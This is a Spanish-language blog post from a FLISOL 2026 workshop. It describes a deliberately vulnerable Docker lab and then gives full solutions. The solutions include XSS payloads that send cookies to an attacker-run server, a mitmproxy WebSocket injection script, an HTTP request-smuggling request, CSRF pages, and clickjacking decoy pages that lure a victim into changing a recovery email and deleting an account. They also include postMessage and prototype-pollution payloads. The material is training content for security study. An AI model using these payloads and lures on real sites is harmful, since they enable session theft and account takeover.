El pasado 25 de abril tuve el honor de ser parte del Festival Latinoamericano de Instalación de Software Libre (FLISOL) en su edición Cochabamba 2026. El evento se desarrolló en la MEMI de la Universidad Mayor de San Simón (UMSS).
Lastimosamente, por errores de coordinación, no pude dar mi charla completa. Alcancé a explicar la parte teórica sobre, pero me quedé con el laboratorio que tenía preparado para el taller. El tiempo simplemente no alcanzó.
El laboratorio
Para poner en marcha el laboratorio, se creó un repositorio en GitHub donde se encuentran todos los recursos: Samres27/laboratorio_Flisol_2026_deploy. Se trata de un laboratorio con vulnerabilidades diseñado para el taller de la FLISOL. La carpeta contiene la siguiente estructura:
│ docker-compose.yml
│ Readme.md
│
├───mail_server
│ │ mailserver.env
│ │
│ ├───config
│ │ dovecot-quotas.cf
│ │ postfix-accounts.cf
│ │
│ └───docker-data
│ └───dms
│ └───config
│ postfix-accounts.cf
│
└───xss
└───haproxy
haproxy.cfgPara correr el laboratorio se necesita ejercutar el siguiente comando
docker compose upEste comando desplegará cada contenedor. Se tiene un sitio web para XSS en el puerto 80 con HTTP, CSRF en el puerto 81 con HTTP, clickjacking en el 82 con HTTPS y, por último, DOM en el puerto 83 con HTTPS. Además, corren dos contenedores que sirven para ayudar a resolver los laboratorios: el primero es un cliente de correos en el puerto 1000 con HTTP, y el segundo es un servidor para subir las banderas en el puerto 1001 con HTTP.
XSS
El laboratorio ejecuta un servicio de compras de material deportivo. En este hay 5 rutas donde se puede explotar XSS: XSS reflejado, XSS almacenado, XSS reflejado en DOM, en el canal de WebSockets y, por último, mediante HTTP smuggling.

CSRF
El sitio CSRF corre un servicio de blog, el cual tiene tres recursos explotables mediante CSRF: un control de token mal implementado, un control mediante cookie con Lax y, como último, un control mediante el encabezado Referrer.

Clickjacking
En el puerto 82 corre un servicio de música donde se puede subir música. En este sitio hay que cambiar el correo de recuperación y eliminar una cuenta usando clickjacking.

DOM
La vulnerabilidad de DOM corre un servidor en el puerto 83 para cursos. En este hay que aprovechar las funciones de mensaje que tiene el servidor y la contaminación de prototipos para explotar.

Web email
El servidor de email corre en el puerto 1000 funciona para desplegar un email, el cual requiere crear una cuenta y también va a servir para enviar correo a los diferentes usuarios que tienen los laboratorios.

Servidor de banderas
Por último, tenemos el servidor donde se suben las banderas, en el puerto 1001. Este está distribuido por las diferentes categorías, con el usuario y el correo que tiene el servicio de mail.

Como solucionar los laboratorios
Si su finalidad es resolver los laboratorios, puede dejar de leer el blog aquí. En caso de que se trabe en algún ejercicio, puede continuar leyendo.
XSS
El primer ejercicio se soluciona mediante el siguiente enlace:
http://127.0.0.1/error?message=%3Cimg%20src=x%20onerror=%22fetch(%27http://172.101.101.1:2709/?bandera1--%27%2Bdocument.cookie,{mode:%27no-cors%27})%22%3EAquí aprovechamos la función de error que tiene el sitio, donde permite manejar el texto dinámicamente mediante el parámetro. Aquí hacemos un fetch para llamar a un recurso inexistente, teniendo la cookie del sistema.
Para el servidor que vamos un servidor python con el modulo http.server usando esta configuracion 172.101.101.1 2709 tanto el payload como el servidor debe ser cambiado distinto al 127.0.0.1 para que no haya choques, puede crear una interfaz de red adiccional o usar una ip 172.16.0.0/12
python -m http.server -b 172.101.101.1 2709ahora se lo enviamos a la victima mediante el servicio de correos

Después de enviar el correo, el usuario ingresa al enlace y recibimos la solicitud en nuestro servidor.

Este va ser el primero pero todos los ejercicio se resuelven de la misma manera enviar al cliente un correo el cual la victima hace click
En segundo ejercicio se resulve con la siguiente carga util
http://127.0.0.1/shop/?search=%3C%3Cimg%20src=x%20onerror=%22fetch(%27http://172.101.101.1:2709?bandera2--%27%2Bdocument.cookie,{mode:%27no-cors%27})%22%3E%3ELeyendo el html del sitio vemos que contiene 2 funciones interesantes, la primero con el windows.location.search lee los parametros buscando el valor de search. Y en la sanitacion del codigo esta mal implentado ya que solo busca la primera coincidencia de '<' y '>' para eliminarla.

Para el tercero ejercicio se resuelve con el siguiente payload
<img src=x onerror="fetch('http://172.101.101.1:2709?bandera3--'+document.cookie,{mode:'no-cors'})">Se ingresa el payload como comentario en un producto

Para el cuarto ejercicio usare mitmproxy para poder modificar el contenido de los mensaje en websockets
from mitmproxy import http
import json
class WSModifier:
def websocket_message(self, flow):
if not flow.websocket or not flow.websocket.messages:
return
message = flow.websocket.messages[-1]
try:
if isinstance(message.content, bytes):
content_str = message.content.decode('utf-8')
else:
content_str = message.content
data = json.loads(content_str)
if message.from_client:
if "message" in data and "hack" in data["message"].lower():
data["message"] = data["message"].replace("hack", "<img src='x' onerror=\"fetch('http://172.101.101.1:2709?bandera4--'+document.cookie,{mode:'no-cors'})\">")
message.content = json.dumps(data, separators=(',', ':')).encode('utf-8')
except json.JSONDecodeError:
f" No es JSON: {message.content}"
except Exception as e:
f" Error: {e}"
addons = [WSModifier()] En este caso tenemos este script, se modificará como la palabra "hack" cuando se ingresa. Es necesario hacer esto porque el código HTML sanitiza las entradas en el chat.

Como podemos ver el script funciona correctamente. Nota: aqui yo uso un alias, pero al enviar a la victima usa http://127.0.0.1 al enviar a la victima

Para el quinto ejercicio, aprovecharemos la vulnerabilidad de HTTP smuggling. La petición maliciosa es la siguiente.
POST / HTTP/1.1
Host: 127.0.0.1
foo:1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Connection: keep-alive
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent: "></div><img src=x onerror="fetch('http://172.101.101.1:2709/?bandera5--'+document.cookie,{mode:'no-cors'})">
sam:1Como HTTP smuggling es delicado, adjunto una captura con los caracteres especiales "\r\n" en caso de que no se vea el salto de línea. Lo que sucede es que el servidor front lee el contenido y lo hace pasar con Content-Length; el servidor backend lee el contenido y lo interpreta mediante el Transfer-Encoding, de modo que son dos peticiones distintas. Esto provoca que procese ambas. Como la segunda está mal formada, se cuela en la siguiente petición HTTP y la redirige a la raíz '/'. Si no logra hacerlo funcionar, no se frustre: esta vulnerabilidad es muy técnica y es posible que esté enviando algo mal. Infórmese por otros recursos sobre cómo explotarla.

Con este paquete, hay que envenenar las solicitudes hasta que la víctima navegue al sitio y recupere la flag.
CRSF
Primer ejercicio vamos a usar una mala configuracion de token csrf por lo que primero hay que realizar un fuzzing para encontar un endpoint no documentado

Si revisamos el resultado, tenemos dos rutas interesantes: la primera es /register y la segunda es /log. Accediendo a /log obtenemos el token CSRF del usuario mrodriguez.

El payload utilizado es el siguiente, este creara un post como si fueran el mrodriguez
<html>
<head>
<title>Premio de participación — reclama tu regalo</title>
<style>
body { font-family: sans-serif; background: #1a1a2e; color: #eee;
display: flex; justify-content: center; align-items: center; min-height: 100vh; }
.card { background: #16213e; padding: 40px; border-radius: 12px; text-align: center; max-width: 420px; }
h2 { color: #e94560; }
.loader { margin: 20px auto; width: 40px; height: 40px;
border: 4px solid #333; border-top-color: #e94560;
border-radius: 50%; animation: spin 1s linear infinite; }
@keyframes spin { to { transform: rotate(360deg); } }
</style>
</head>
<body>
<div class="card">
<h2>¡Verificando tu cuenta!</h2>
<div class="loader"></div>
<p>Por favor espera, estamos procesando tu solicitud…</p>
</div>
<form id="csrf-payload"
action="http://127.0.0.1:81/post/create"
method="POST"
style="display:none">
<input type="hidden" name="csrf_token" value="1620b473580a832ade058d0e94aec13ec88274271d86d77b4e6d021ce0578dd7">
<input type="hidden" name="title" value="[CSRF #1] Post inyectado con token robado">
<input type="hidden" name="body" id="body_text" value="Este post fue creado mediante CSRF usando un token estático obtenido de la sesión. El token nunca rota, por lo que puede reutilizarse indefinidamente. Vulnerabilidad: defensa por token implementada con política de rotación inexistente.">
<input type="hidden" name="published" value="1">
</form>
<script>
document.getElementById("body_text").value += " - Cookies: " + document.cookie;
window.onload = () => document.getElementById('csrf-payload').submit();
</script>
</body>
</html>Al enviar esta url mediante el servicio de correo a la victima
http://172.101.101.1:2709/exploit_static_token.htmlEl sitio crea el post y luego envia la flag en otro post

En el segundo ejercicio se usara el payload, aqui hay que cambiar el post_id al valor, por lo general sera el 1 pero en este caso es 2
<html>
<head><title>Recurso compartido</title></head>
<body>
<p>Cargando...</p>
<script>
const POST_ID = 2;
setTimeout(() => {
window.location = `http://127.0.0.1:81/post/delete/${POST_ID}`;
}, 500);
</script>
</body>
</html>En el tercer ejercicio se muestra el control del referrer, pero tiene una mala configuración, por lo que se pasará como parámetro del sitio. Aquí usamos la metaetiqueta unsafe-url para poder modificar el historial de sitios visitados.
<!DOCTYPE html>
<html>
<head>
<meta name="referrer" content="unsafe-url">
<title>Comparte tu contenido</title>
<style>
body { background: #0f172a; color: #94a3b8; font-family: monospace;
display: flex; justify-content: center; align-items: center; min-height: 100vh; }
.box { border: 1px solid #1e293b; border-radius: 8px; padding: 32px;
max-width: 400px; text-align: center; background: #1e293b; }
.title { color: #38bdf8; font-size: 18px; margin-bottom: 12px; }
.sub { color: #64748b; font-size: 12px; }
.bar { height: 3px; background: #0f172a; border-radius: 2px; margin: 20px 0; overflow: hidden; }
.fill { height: 100%; background: #38bdf8; width: 0;
animation: load 1.5s ease forwards; }
@keyframes load { to { width: 100%; } }
</style>
</head>
<body>
<div class="box">
<div class="title">Distribuyendo tu post…</div>
<div class="bar"><div class="fill"></div></div>
<div class="sub">Enviando a la red de distribución de contenido</div>
</div>
<script>
const POST_ID = 1;
window.onload = function() {
history.pushState("","","?localhost")
document.location=`http://127.0.0.1:81/post/toggle/${POST_ID}`
};
</script>
</body>
</html>Clickjacking
El primer ejercicio vamos a modificar el correo de recuperacion mediante el siguiente html. En este primer ejeccio la finalidad es que el usuario haga un click.
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>🎵 SoundWave — ¡Ganaste acceso Premium!</title>
<link href="https://fonts.googleapis.com/css2?family=Syne:wght@700;800&family=Outfit:wght@400;500;600&display=swap" rel="stylesheet">
<style>
*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
:root {
--bg: #0d0d0d;
--surface: #161616;
--border: #2a2a2a;
--text: #f0f0f0;
--muted: #666;
--green: #00e676;
--yellow: #ffd740;
}
body {
background: var(--bg);
color: var(--text);
font-family: 'Outfit', sans-serif;
min-height: 100vh;
overflow-x: hidden;
}
/* NAV */
nav {
display: flex;
align-items: center;
justify-content: space-between;
padding: 18px 40px;
border-bottom: 1px solid var(--border);
position: relative;
z-index: 10;
}
.nav-logo {
font-family: 'Syne', sans-serif;
font-size: 1.3rem;
font-weight: 300;
letter-spacing: -.02em;
}
.nav-logo span { color: var(--green); }
.nav-links {
display: flex;
gap: 28px;
font-size: .85rem;
color: var(--muted);
list-style: none;
}
.nav-links li { cursor: pointer; transition: color .2s; }
.nav-links li:hover { color: var(--text); }
.nav-btn {
background: var(--green);
color: #000;
border: none;
padding: 8px 20px;
border-radius: 99px;
font-family: 'Outfit', sans-serif;
font-size: .82rem;
font-weight: 600;
cursor: pointer;
}
/* HERO */
.hero {
text-align: center;
padding: 52px 20px 20px;
position: relative;
z-index: 10;
}
.badge {
display: inline-flex;
align-items: center;
gap: 6px;
background: rgba(0,230,118,.1);
border: 1px solid rgba(0,230,118,.25);
color: var(--green);
font-size: .75rem;
font-weight: 600;
letter-spacing: .08em;
text-transform: uppercase;
padding: 5px 14px;
border-radius: 99px;
margin-bottom: 20px;
}
.badge::before { content: '●'; font-size: .5rem; animation: pulse 1.5s infinite; }
@keyframes pulse { 0%,100%{opacity:1} 50%{opacity:.3} }
h1 {
font-family: 'Syne', sans-serif;
font-size: clamp(2rem, 5vw, 3rem);
font-weight: 800;
line-height: 1.1;
letter-spacing: -.03em;
margin-bottom: 14px;
}
h1 em { color: var(--yellow); font-style: normal; }
.hero-sub {
color: var(--muted);
font-size: .95rem;
max-width: 460px;
margin: 0 auto 32px;
line-height: 1.6;
}
/* ALERT BOX */
.alert {
display: inline-flex;
align-items: flex-start;
gap: 12px;
background: rgba(255,215,64,.07);
border: 1px solid rgba(255,215,64,.2);
border-radius: 10px;
padding: 14px 20px;
max-width: 500px;
margin: 0 auto 40px;
text-align: left;
font-size: .85rem;
line-height: 1.5;
color: #ccc;
}
.alert-icon { font-size: 1.2rem; flex-shrink: 0; margin-top: 1px; }
.alert strong { color: var(--yellow); }
/* STAGE — contiene el iframe + decoy sin moverlos */
.stage {
position: relative;
width: 1000px;
height: 800px;
top: -300px;
margin: 0 auto;
}
/* DECOY — posición original intacta */
.decoy_website {
position: absolute;
width: 1000px;
height: 800px;
z-index: 1;
}
/* IFRAME — posición original intacta */
.target_website {
position: relative;
width: 1000px;
height: 400px;
opacity: 0.1;
z-index: 2;
}
/* Decoy button styling */
.decoy_website a {
display: inline-block;
background: linear-gradient(135deg, var(--yellow), #ff8f00);
color: #000;
font-family: 'Syne', sans-serif;
font-weight: 100;
font-size: 1rem;
padding: 10px 22px;
border-radius: 8px;
text-decoration: none;
letter-spacing: -.01em;
box-shadow: 0 0 30px rgba(255,215,64,.3);
animation: glow 2s ease-in-out infinite;
}
@keyframes glow {
0%,100% { box-shadow: 0 0 20px rgba(255,215,64,.3); }
50% { box-shadow: 0 0 40px rgba(255,215,64,.6); }
}
/* FOOTER */
footer {
text-align: center;
padding: 28px;
color: var(--muted);
font-size: .75rem;
border-top: 1px solid var(--border);
position: relative;
z-index: 10;
}
footer a { color: var(--muted); text-decoration: underline; }
/* BG noise */
body::before {
content: '';
position: fixed;
inset: 0;
background-image: url("data:image/svg+xml,%3Csvg viewBox='0 0 200 200' xmlns='http://www.w3.org/2000/svg'%3E%3Cfilter id='n'%3E%3CfeTurbulence type='fractalNoise' baseFrequency='0.9' numOctaves='4' stitchTiles='stitch'/%3E%3C/filter%3E%3Crect width='100%25' height='100%25' filter='url(%23n)' opacity='0.03'/%3E%3C/svg%3E");
pointer-events: none;
z-index: 0;
opacity: .4;
}
</style>
</head>
<body>
<nav>
<div class="nav-logo">Sound<span>Wave</span></div>
<ul class="nav-links">
<li>Descubrir</li>
<li>Charts</li>
<li>Artistas</li>
<li>Premium</li>
</ul>
<button class="nav-btn">Iniciar sesión</button>
</nav>
<div class="hero">
<div class="badge">Oferta por tiempo limitado</div>
<h1>¡Felicidades!<br>Ganaste <em>3 meses gratis</em></h1>
<p class="hero-sub">
Fuiste seleccionado para recibir acceso Premium sin costo.
Solo confirma tu correo de notificaciones y activa tu recompensa.
</p>
<div class="alert">
<span class="alert-icon"></span>
<div>
<strong>Acción requerida:</strong> Para activar tu premio debes confirmar
tu correo de contacto haciendo clic en el botón <strong>"Activar Premio"</strong> a continuación.
Esta oferta expira en <strong>10 minutos</strong>.
</div>
</div>
</div>
<!-- STAGE: wrapper visual, iframe y decoy sin modificar -->
<div class="stage">
<div id="decoy_website" class="decoy_website">
<a href="#" style="position: absolute; top: 322px; left: 853px; width: 75px; height: 40px;">Click</a>
</div>
<iframe
id="target_website"
src="https://127.0.0.1:82/profile?email=samres@vulnlab.bo"
class="target_website"
sandbox="allow-forms allow-scripts allow-same-origin">
</iframe>
</div>
<footer>
© 2026 SoundWave Inc. · <a href="#">Términos</a> · <a href="#">Privacidad</a> · Todos los derechos reservados.
</footer>
</body>
</html>Si hay mucho CSS, pero es para que se vea mejor el sitio y creible, esto se veria como la siguiente imagen

Como ves, es un sitio bastante bonito. La idea es engañar al cliente para que ingrese al sitio y haga click para reclamar 3 meses gratis.

Ahora la víctima ha cambiado su email al de samres; intentamos ingresar cambiando el correo.

Ya enviado revisamos el servicio de correo cambimos el la contraseña del usuario e ingresamos.

Para el segundo ejercicio la victima tiene que hacer 2 click para ver el sitio, en este sitio hay que realizar 2 click el primero siendo click y click2. Esto elimina el usuario.
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>🎵 SoundWave — ¡Ganaste acceso Premium!</title>
<link href="https://fonts.googleapis.com/css2?family=Syne:wght@700;800&family=Outfit:wght@400;500;600&display=swap"
rel="stylesheet">
<style>
*,
*::before,
*::after {
box-sizing: border-box;
margin: 0;
padding: 0;
}
:root {
--bg: #0d0d0d;
--surface: #161616;
--border: #2a2a2a;
--text: #f0f0f0;
--muted: #666;
--green: #00e676;
--yellow: #ffd740;
}
body {
background: var(--bg);
color: var(--text);
font-family: 'Outfit', sans-serif;
min-height: 100vh;
overflow-x: hidden;
}
/* NAV */
nav {
display: flex;
align-items: center;
justify-content: space-between;
padding: 18px 40px;
border-bottom: 1px solid var(--border);
position: relative;
z-index: 10;
}
.nav-logo {
font-family: 'Syne', sans-serif;
font-size: 1.3rem;
font-weight: 300;
letter-spacing: -.02em;
}
.nav-logo span {
color: var(--green);
}
.nav-links {
display: flex;
gap: 28px;
font-size: .85rem;
color: var(--muted);
list-style: none;
}
.nav-links li {
cursor: pointer;
transition: color .2s;
}
.nav-links li:hover {
color: var(--text);
}
.nav-btn {
background: var(--green);
color: #000;
border: none;
padding: 8px 20px;
border-radius: 99px;
font-family: 'Outfit', sans-serif;
font-size: .82rem;
font-weight: 600;
cursor: pointer;
}
/* HERO */
.hero {
text-align: center;
padding: 52px 20px 20px;
position: relative;
z-index: 10;
}
.badge {
display: inline-flex;
align-items: center;
gap: 6px;
background: rgba(0, 230, 118, .1);
border: 1px solid rgba(0, 230, 118, .25);
color: var(--green);
font-size: .75rem;
font-weight: 600;
letter-spacing: .08em;
text-transform: uppercase;
padding: 5px 14px;
border-radius: 99px;
margin-bottom: 20px;
}
.badge::before {
content: '●';
font-size: .5rem;
animation: pulse 1.5s infinite;
}
@keyframes pulse {
0%,
100% {
opacity: 1
}
50% {
opacity: .3
}
}
h1 {
font-family: 'Syne', sans-serif;
font-size: clamp(2rem, 5vw, 3rem);
font-weight: 800;
line-height: 1.1;
letter-spacing: -.03em;
margin-bottom: 14px;
}
h1 em {
color: var(--yellow);
font-style: normal;
}
.hero-sub {
color: var(--muted);
font-size: .95rem;
max-width: 460px;
margin: 0 auto 32px;
line-height: 1.6;
}
/* ALERT BOX */
.alert {
display: inline-flex;
align-items: flex-start;
gap: 12px;
background: rgba(255, 215, 64, .07);
border: 1px solid rgba(255, 215, 64, .2);
border-radius: 10px;
padding: 14px 20px;
max-width: 500px;
margin: 0 auto 40px;
text-align: left;
font-size: .85rem;
line-height: 1.5;
color: #ccc;
}
.alert-icon {
font-size: 1.2rem;
flex-shrink: 0;
margin-top: 1px;
}
.alert strong {
color: var(--yellow);
}
/* STAGE — contiene el iframe + decoy sin moverlos */
.stage {
position: absolute;
width: 1000px;
height: 800px;
top: 200px;
margin: 0 auto;
}
/* DECOY — posición original intacta */
.decoy_website {
position: absolute;
width: 1000px;
height: 800px;
z-index: 1;
}
/* IFRAME — posición original intacta */
.target_website {
position: relative;
width: 1000px;
height: 400px;
opacity: 0.1;
z-index: 999;
}
/* Decoy button styling */
.decoy_website a {
display: inline-block;
background: linear-gradient(135deg, var(--yellow), #ff8f00);
color: #000;
font-family: 'Syne', sans-serif;
font-weight: 800;
font-size: 1rem;
padding: 10px 22px;
border-radius: 8px;
text-decoration: none;
letter-spacing: -.01em;
box-shadow: 0 0 30px rgba(255, 215, 64, .3);
animation: glow 2s ease-in-out infinite;
}
@keyframes glow {
0%,
100% {
box-shadow: 0 0 20px rgba(255, 215, 64, .3);
}
50% {
box-shadow: 0 0 40px rgba(255, 215, 64, .6);
}
}
/* FOOTER */
footer {
text-align: center;
padding: 28px;
color: var(--muted);
font-size: .75rem;
border-top: 1px solid var(--border);
position: relative;
z-index: 10;
}
footer a {
color: var(--muted);
text-decoration: underline;
}
/* BG noise */
body::before {
content: '';
position: fixed;
inset: 0;
background-image: url("data:image/svg+xml,%3Csvg viewBox='0 0 200 200' xmlns='http://www.w3.org/2000/svg'%3E%3Cfilter id='n'%3E%3CfeTurbulence type='fractalNoise' baseFrequency='0.9' numOctaves='4' stitchTiles='stitch'/%3E%3C/filter%3E%3Crect width='100%25' height='100%25' filter='url(%23n)' opacity='0.03'/%3E%3C/svg%3E");
pointer-events: none;
z-index: 0;
opacity: .4;
}
</style>
</head>
<body>
<nav>
<div class="nav-logo">Sound<span>Wave</span></div>
<ul class="nav-links">
<li>Descubrir</li>
<li>Charts</li>
<li>Artistas</li>
<li>Premium</li>
</ul>
<button class="nav-btn">Iniciar sesión</button>
</nav>
<div class="hero">
<div class="badge">Oferta por tiempo limitado</div>
<h1>¡Felicidades!<br>Ganaste <em>3 meses gratis</em></h1>
<p class="hero-sub">
Fuiste seleccionado para recibir acceso Premium sin costo.
Solo confirma tu correo de notificaciones y activa tu recompensa.
</p>
</div>
<div class="stage">
<div id="decoy_website" class="decoy_website">
<a href="#" style="position: absolute; top: 256px; left: 84px;">Click</a>
<a href="#" style="position: absolute; top: 215px; left: 536px;">Click2</a>
</div>
<iframe id="target_website" src="https://127.0.0.1:82/profile#delete_button" class="target_website"
sandbox="allow-forms allow-scripts allow-same-origin">
</iframe>
</div>
</body>
</html>El sitio es muy similar al anterior por lo que tiene que ver la siguiente manera.

DOM
Para primer ejercicio tenemos que configurar un servidor https, por lo que vamos a usar un servidor con certificados auto firmados
#!/usr/bin/env python3
"""
Servidor HTTPS con Flask que sirve archivos estáticos del directorio actual.
Uso: python flask_https_server.py -b 127.0.10.1 2709
"""
import argparse
import os
from flask import Flask, send_from_directory
app = Flask(__name__, static_folder='.')
@app.route('/')
@app.route('/<path:path>')
def serve_static(path=''):
"""Sirve cualquier archivo estático desde el directorio actual."""
# Prevenir ataques de path traversal (solo sirve archivos dentro del directorio actual)
if os.path.abspath(path).startswith(os.path.abspath('.')) or not path:
return send_from_directory('.', path if path else 'index.html')
return "Acceso denegado", 403
def main():
parser = argparse.ArgumentParser(description='Servidor HTTPS con Flask')
parser.add_argument('-b', '--bind', nargs=2, metavar=('HOST', 'PORT'),
help='Dirección y puerto donde escuchar (ej: -b 127.0.10.1 2709)')
parser.add_argument('--cert', help='Archivo del certificado (pem)')
parser.add_argument('--key', help='Archivo de la clave privada (pem)')
parser.add_argument('--adhoc', action='store_true', help='Usar certificado autofirmado generado al vuelo')
args = parser.parse_args()
# Configurar host y puerto
if args.bind:
host, port = args.bind[0], int(args.bind[1])
else:
host, port = '127.0.0.1', 5000 # valores por defecto
# Configurar SSL
if args.cert and args.key:
ssl_context = (args.cert, args.key)
elif args.adhoc:
ssl_context = 'adhoc'
else:
# Si no se especifica certificado, usamos adhoc por defecto
print("No se especificó certificado. Usando 'adhoc' (certificado autofirmado en memoria).")
ssl_context = 'adhoc'
print(f"Iniciando servidor HTTPS en https://{host}:{port}")
print(f"SIRVIENDO: {os.path.abspath('.')}")
app.run(host=host, port=port, ssl_context=ssl_context, debug=False)
if __name__ == '__main__':
main()este script me da un servidor muy similar a http.server solo que esta autofirmado para https.

El codigo del sitio es el siguiente
<html>
<style>
#target {
width: 1270px;
height: 900px;
}
</style>
<iframe id="target" src="https://127.0.0.1:83/my-courses"></iframe>
<script>
const iframe = document.getElementById("target");
iframe.onload = () => {
iframe.contentWindow.postMessage(
JSON.stringify({
name: "Marcos",
nroInvite: "<img src=x onerror=\"fetch('https://172.101.101.1:2709/?bandera1--'+document.cookie,{mode:'no-cors'})\">",
}),
"*"
);
};
</script>
</html>En el segundo ejercicio vamos a usar el siguiente codigo, en esta ruta hay un control de url por lo que el payload tiene un bypass para este sitio
<style>
#target {
width: 1270px;
height: 900px;
}
</style>
<iframe id="target" src="https://127.0.0.1:83/offers"></iframe>
<script>
const iframe = document.getElementById("target");
iframe.onload = () => {
iframe.contentWindow.postMessage(
"javascript:fetch('https://172.101.101.1:2709/?bandera2--'+document.cookie,{mode:'no-cors'})//http:",
"*"
);
};
</script>En el tercer ejercicio vamos a usar la vulnerabilidad de contaminación de prototipos (prototype pollution) de JavaScript. Primero tenemos el siguiente código. En este se puede ver que el sitio hace una consulta para ver si hay ofertas; en caso de que las haya, se ingresa un enlace para la oferta y un mensaje.

Para ver el otro recurso interesante tenemos el siguiente código. Este código por alguna razón hace que cualquier parámetro que se envíe se agregue a un objeto, pero aquí está el problema, no controla bien y el objeto puede ser __proto__, lo que es muy peligroso ya que permite modificar este objeto delicado.

Sabiendo esto la carga util es la siguiente:
https://127.0.0.1:83/testimonies?__proto__[haveOffers]=true&__proto__[message]=%3Cimg%20src=x%20onerror=%22fetch(%27https://172.101.101.1:2709/?bandera3--%27%2Bdocument.cookie%2B%27--%27,{mode:%27no-cors%27})%22%3EEso seria todo… 😊
Bueno a seguir aprendiendo…